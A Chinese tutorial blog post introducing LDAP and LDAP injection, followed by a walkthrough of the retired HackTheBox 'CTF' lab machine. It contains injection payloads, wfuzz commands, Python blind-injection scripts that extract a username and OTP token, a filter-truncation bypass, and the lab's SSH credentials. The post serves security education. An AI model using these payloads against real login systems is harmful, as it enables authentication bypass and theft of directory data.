最近在HackTheBox上氪了金(肉疼�),做了一些已经retired的高质量逻辑,不得不说质量还是很高的。其中有一个靶机叫做CTF,难度是最高级别的insane,主要是它考察的知识点比较冷门——LDAP注入。可能很多小伙伴都没怎么听说过这个漏洞,我想主要原因还是LDAP这个协议用的比较少,而且国内CTF比赛中我也基本上没有看到有考察这个点的。在网上搜了一下,发现最近一次出现这个考点的是在CSAW CTF Qualification Round 2018比赛中,题目直接告诉你了是考LDAP注入。刚好上个星期我在星盟内部分享中,也提到了这个知识点,那么本着聊胜于无,开阔知识面的本意下(其实是偷懒?),写下这篇浅谈LDAP注入攻击的文章。 0x01 LDAP介绍什么是LDAP在做靶机之前,我们首先来了解一下什么是LDAP?以下内容部分摘自2018 blackhat LDAP Injection & Blind LDAP InjectionLDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。那么转换成人话就是说,LDAP是用于访问目录服务(特别是基于X.500的目录服务)的轻量级客户端服务器协议,它通过TCP/IP传输服务运行。关键的地方就在于,数据是存储在目录中,而不是数据库中。的确,目录和数据库有很多共同之处,都能存储数据、并能在一定程度进行搜索和查询。这里就有一个问题了,目录和数据库的区别在哪?最重要的区别就是目录适合于存放静态数据,它存储的数据无论在类型和种类较之数据库中的数据都要更为繁多,包括音频、视频、可执行文件、文本等文件,另外目录中还存在目录的递归。既然是存放不同类型的静态数据,那么目录服务在进行优化后更适宜于读访问,而非写、修改等操作。说了这么半天,感觉还是贴一张图来的更快。上面这张图展示了LDAP的结构。我们都知道MySQL数据库中的数据都是按记录一条条记录存在表中,而LDAP是树结构的,数据存储在叶子节点上。比如要描述上图baby这个节点:cn=baby, ou=marketing, ou=people, dc=mydomain, dc=orgLDAP的基本概念在大概知道LDAP是做什么、长什么样之后,我们再来了解一下LDAP的一些基本概念,主要是三个专有名词:条目(Entry)、属性(Attribute)、对象类(ObjectClass)。条目条目,也叫记录项,是LDAP中最基本的颗粒,就像字典中的词条或者是数据中的记录。通常对LDAP的添加、删除、修改、搜索都是以条目为基本单位。属性每个条目都可以有很多属性(Attribute),比如常见的人都有姓名、地址、电话等属性。每个属性都有名称及对应的值,属性值可以有单个、多个,比如你有多个邮箱。此外,LDAP为人员组织机构中常见的对象都设计了属性(比如commonName,surname)。对象类对象类是属性的集合,LDAP预想了很多人员组织机构中常见的对象,并将其封装成对象类。比如人员(person)含有姓(sn)、名(cn)、电话(telephoneNumber)、密码(userPassword)等属性,单位职工(organizationalPerson)是人员(person)的继承类,除了上述属性之外还含有职务(title)、邮政编码(postalCode)、通信地址(postalAddress)等属性。通过对象类可以方便的定义条目类型。每个条目可以直接继承多个对象类,这样就继承了各种属性。如果2个对象类中有相同的属性,则条目继承后只会保留1个属性。对象类同时也规定了哪些属性是基本信息,即必要属性和可选属性。是不是听起来和面向对象语言有点相似,跟Java中的Object类一样,LDAP的根对象类就叫做top。上述就是笔者对LDAP数据结构的简单介绍了,LDAP既然主要用于搜索查询,那它是怎么查询的呢?LDAP的基本语法LDAP的语法非常简单,一看就会,再看就懂。以下部分内容摘自https://blog.csdn.net/leader_ww/article/details/4028672=(等于)例如,如果希望查找属性giveNname值为John的所有对象,可以使用(givenName=John)。这会返回对应条件的所有对象。&(逻辑与)例如,如果希望查找居住在 Dallas 并且givenName为John的所有对象,可以使用(&(givenName=John)(l=Dallas))。请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。|(逻辑或)例如,如果希望查找属性givenName值为Jhon或者Jack的所有对象,可以使用(|(givenName=Jhon)(givenName=Jack))。!(逻辑非)例如,如果需要查找givenName为John的对象以外的所有对象。则应使用如下语句:(!givenName=John)*(通配符)可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用(title=*),这会返回title属性包含内容的所有对象。另一个例子是:您知道某个对象的givenName属性的开头两个字母是“Jo”。那么,可以使用(givenName=Jo*)进行查找,这会返回givenName以Jo开头的所有对象。Over~~LDAP的语法是不是很简单。说了这么多,可能很多小伙伴还是心存疑问,已经部署成功的LDAP到底是长什么样子?我们可以通过Google Hacking intitle:”phpLDAPadmin” inurl:cmd.php来检索一下,真实的运行的LDAP服务的网站,这个地方我就贴一张图示范一下,包含了上面提到的所有概念。0x02 LDAP注入攻击面其实它的攻击手法和SQL注入的原理非常相似,在有漏洞的环境中,这些查询参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。由于比较简单,我这里就走马观花的方式来过一遍LDAP注入的不同类型。以下部分内容摘自https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.htmlAND注入这种情况,应用会构造由”&”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:(&(parameter1=value1)(parameter2=value2))这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。比如说,为了验证客户端提供的user/password对,构造如下LDAP过滤器并发送给LDAP服务器:(&(USER=Uname)(PASSWORD=Pwd))如果攻击者输入一个有效的用户名,如r00tgrok,然后在这个名字后面注入恰当的语句,password检查就会被绕过。使得Uname=slisberger)(&)),引入任何字符串作为Pwd值,构造如下查询并发送给服务器:(&(USER= slisberger)(&)(PASSWORD=Pwd))OR注入这种情况,应用会构造由”|”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:(|(parameter1=value1)(parameter2=value2))这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。类似的,加入现在用于展示可用资源的查询为:(|(type=Rsc1)(type=Rsc2))Rsc1和Rsc2表示系统中不同种类的资源。如果攻击者输入Rsc=printer)(uid=*),则下面的查询被发送给服务器:(|(type=printer)(uid=*))(type=scanner)这样也会造成注入的产生。盲注SQL注入中有盲注,LDAP中也存在这种问题,包括下面介绍到的靶机用到的也是盲注的手法。假设攻击者可以从服务器响应中推测出什么,尽管应用没有报出错信息,LDAP过滤器中注入的代码却生成了有效的响应或错误。攻击者可以利用这一行为向服务器问正确的或错误的问题。还是用一个例子来说明。假设一个Web应用想从一个LDAP目录列出所有可用的Epson打印机,错误信息不会返回,应用发送如下的过滤器:(&(objectClass=printer)(type=Epson*))使用这个查询,如果有可用的Epson打印机,其图标就会显示给客户端,否则没有图标出现。如果攻击者进行LDAP盲注入攻击*)(objectClass=*))(&(objectClass=voidWeb应用会构造如下查询:(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))仅第一个LDAP过滤器会被处理:(&(objectClass=*)(objectClass=*))那么这样就和我们查询的初衷相违背了。接下来就是这篇文章的重头戏了,我们主要从这个逻机中学到两点:• 怎么发现LDAP注入漏洞• 如何利用LDAP注入漏洞 0x03 从HTB靶机中学习LDAP注入Initial Enunciation拿到靶机先用Nmap扫一下端口# Nmap 7.80 scan initiated Fri Jul 10 10:50:40 2020 as: nmap -sC -sV -oN ctf 10.10.10.122Nmap scan report for ctf.htb (10.10.10.122)Host is up (1.8s latency).Not shown: 998 filtered portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4 (protocol 2.0)| ssh-hostkey:| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Fri Jul 10 11:03:44 2020 — 1 IP address (1 host up) scanned in 783.74 seconds查看80端口大概的意思就是让我们尝试去登录这个系统,但是不能用SQLmap或者Dirbuster去暴力猜解用户名和密码。再去登录界面看一下:提示我们是一个OTP,即One Time Password,一般而言是1分钟更新一次。查看源码,发现有一个Hint如果比较熟悉LDAP的话,这里的两个名词schema和existing attribute已经提示了是关于LDAP注入。作者用一个已知的属性去存储了81位的token string,Google搜一下token string (81 digits)。https://www.systutorials.com/docs/linux/man/1-stoken/可以看到一个关键的地方,Pure numeric (81-digit) "ctf" (compressed token format) strings,和靶机的题目相契合,现在就有一点思路了,应该要去找到这个81位纯数字的token,然后用stoken工具去生成OTP。那么主要是找到token,唯一可以利用的就是这个登录框了。先随便用某个用户名和密码登录admin:1234返回User admin not found,再用SQL注入的万能密码试一试直接是没有任何显示,应该是对一些特殊字符有黑名单过滤。Fuzz一下过滤了一些什么字符wfuzz -c –hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w special-chars.txt 10.10.10.122/login.php—hw 233 代表过滤掉形如User xxx not found的返回信息。我们发现+和&返回的是232 Words,但是在页面测试一下发现返回的还是User + not found或者User & not found,这样的话应该是233 Words,而不是Wfuzz返回的232 Words。我们尝试把这些特殊字符二次URL编码,看Web应用是否还能解析,用seclists中的dobleurihex.txt作为字典wfuzz -c –hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w doble-uri-hex.txt 10.10.10.122/login.php最后Fuzz出来的被过滤的字符就是%2500 —> %00%2528 —> (%2529 —> )%252a —> *%255c —> \这些被过滤的字符就是LDAP注入需要过滤的所有字符,再结合login.php页面源代码中的hint,可以确定是LDAP注入。Getting User Access先来看LDAP注入的最基本形式(& (password=1234) (uid=ca01h%00))具体到这个靶机的话,我们需要猜解括号的个数。运用类似盲注的思想,如果注入成功,那么就会返回User ca01h not found。假设只有一个括号:假设有两个括号:假设有三个括号:当尝试到三个括号用于闭合时,成功返回了User ca01h%29%29%29%00 not found,那么这个登录框的LDAP查询的基本形式就是(& (& (password=1234) (uid=ca01h)))%00 ) (&| (other comparing) ))接着,我们再回头去看一下Fuzz出来的被过滤的字符,其中%25%2a返回的消息长度为231 Words发现回响的消息是Cannot login,说明可以用*通配符来盲注用户名,脚本如下:#!/usr/bin/env python3### username_burp.pyimport sysimport timefrom string import ascii_lowercasefrom urllib.parse import quote_plusimport requestsURL = 'http://10.10.10.122/login.php'username, done = '', Falseprint()while not done: for c in ascii_lowercase: payload = username + c + quote_plus('*') data = { 'inputUsername': payload, 'inputOTP': '1234' } resp = requests.post(URL, data=data) if 'Cannot login' in resp.text: username += c break sys.stdout.write(f'\r{username}{c}') time.sleep(0.2) else: done = Trueprint(f'[+] Username: {username} \n')用户名为ldapuser知道了用户名之后,我们就要去获取生成OTP的81位token,通过页面源代码的提示,这个token存储在某一个LDAP默认已经存在的属性当中。而默认的属性可以在PayloadsAllTheThings中找到:ccncocommonNamedcfacsimileTelephoneNumbergivenNamegnhomePhoneidjpegPhotolmailmobilenameoobjectClassouownerpagerpasswordsnstsurnameuidusernameuserPassword如果不想写脚本的话用wfuzz来Fuzz靶机的LDAP中存在的属性可能会更快一些,但还是要先找到注入的形式:(& (& (password=1234) (uid=ldapuser) (FUZZ=*) ) (&| (other comparing) ))此外还要把注入的字符ldapuser)(FUZZ=*进行二次URL编码,编码之后的结果ldapuser%2529%2528FUZZ%253d%252a。wfuzz -c –hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=1234' -w LDAP_attributes.txt http://10.10.10.122/login.php我们Fuzz出来了这么些属性是存在于靶机的LDAP服务中的,现在的工作就是一个一个的属性来拆解,属于一些重复性的工作,就不在这里过多赘述了,最后可以找到token是存储于pager属性中。接着写脚本用来burp81位token#!/usr/bin/python3# pager_burp.pyimport requestsimport sysfrom time import sleepfrom string import digitstoken = ""URL = "http://10.10.10.122/login.php"attribute = "pager"loop = 1while loop > 0: for digit in digits: token = token # ldapuser)(pager=<token>)* payload = f"ldapuser%29%28{attribute}%3d{token}{digit}%2a" data = {"inputUsername": payload, "inputOTP": "1234"} r = requests.post(URL, data=data) sys.stdout.write(f"\rToken: {token}{digit}") sleep(0.5) if b"Cannot login" in r.content: token += digit break elif digit == "9": loop = 0 breakprint(f'[+] Token: {token} \n')这里值得注意的是需要删掉最后的一个9,所以最后的token就是:285449490011357156531651545652335570713167411445727140604172141456711102716717000接着用stoken工具导入token生成OTP成功登录后,跳转到page.php页面,可以执行命令Damn it…..提示我们ldapuser权限不够不能执行命令,这里有两种办法:• 对 group 属性进行注入,即把后面group属性的filter截断 (& (& (pager=<token>) (uid=ldapuser)))%00 ) (| (group=root) (group=adm) ))• 使用*通配符作为用户名登录这里演示一下第一种方案,payload直接放到burp中ldapuser%2529%2529%2529%2500再去执行ls命令读取page.php文件:SSH登录:fdapuser:e398e27d5c4ad45086fe431120932a01 原文地址:https://www.anquanke.com/post/id/212186
本文出自快速备案,转载时请注明出处及相应链接。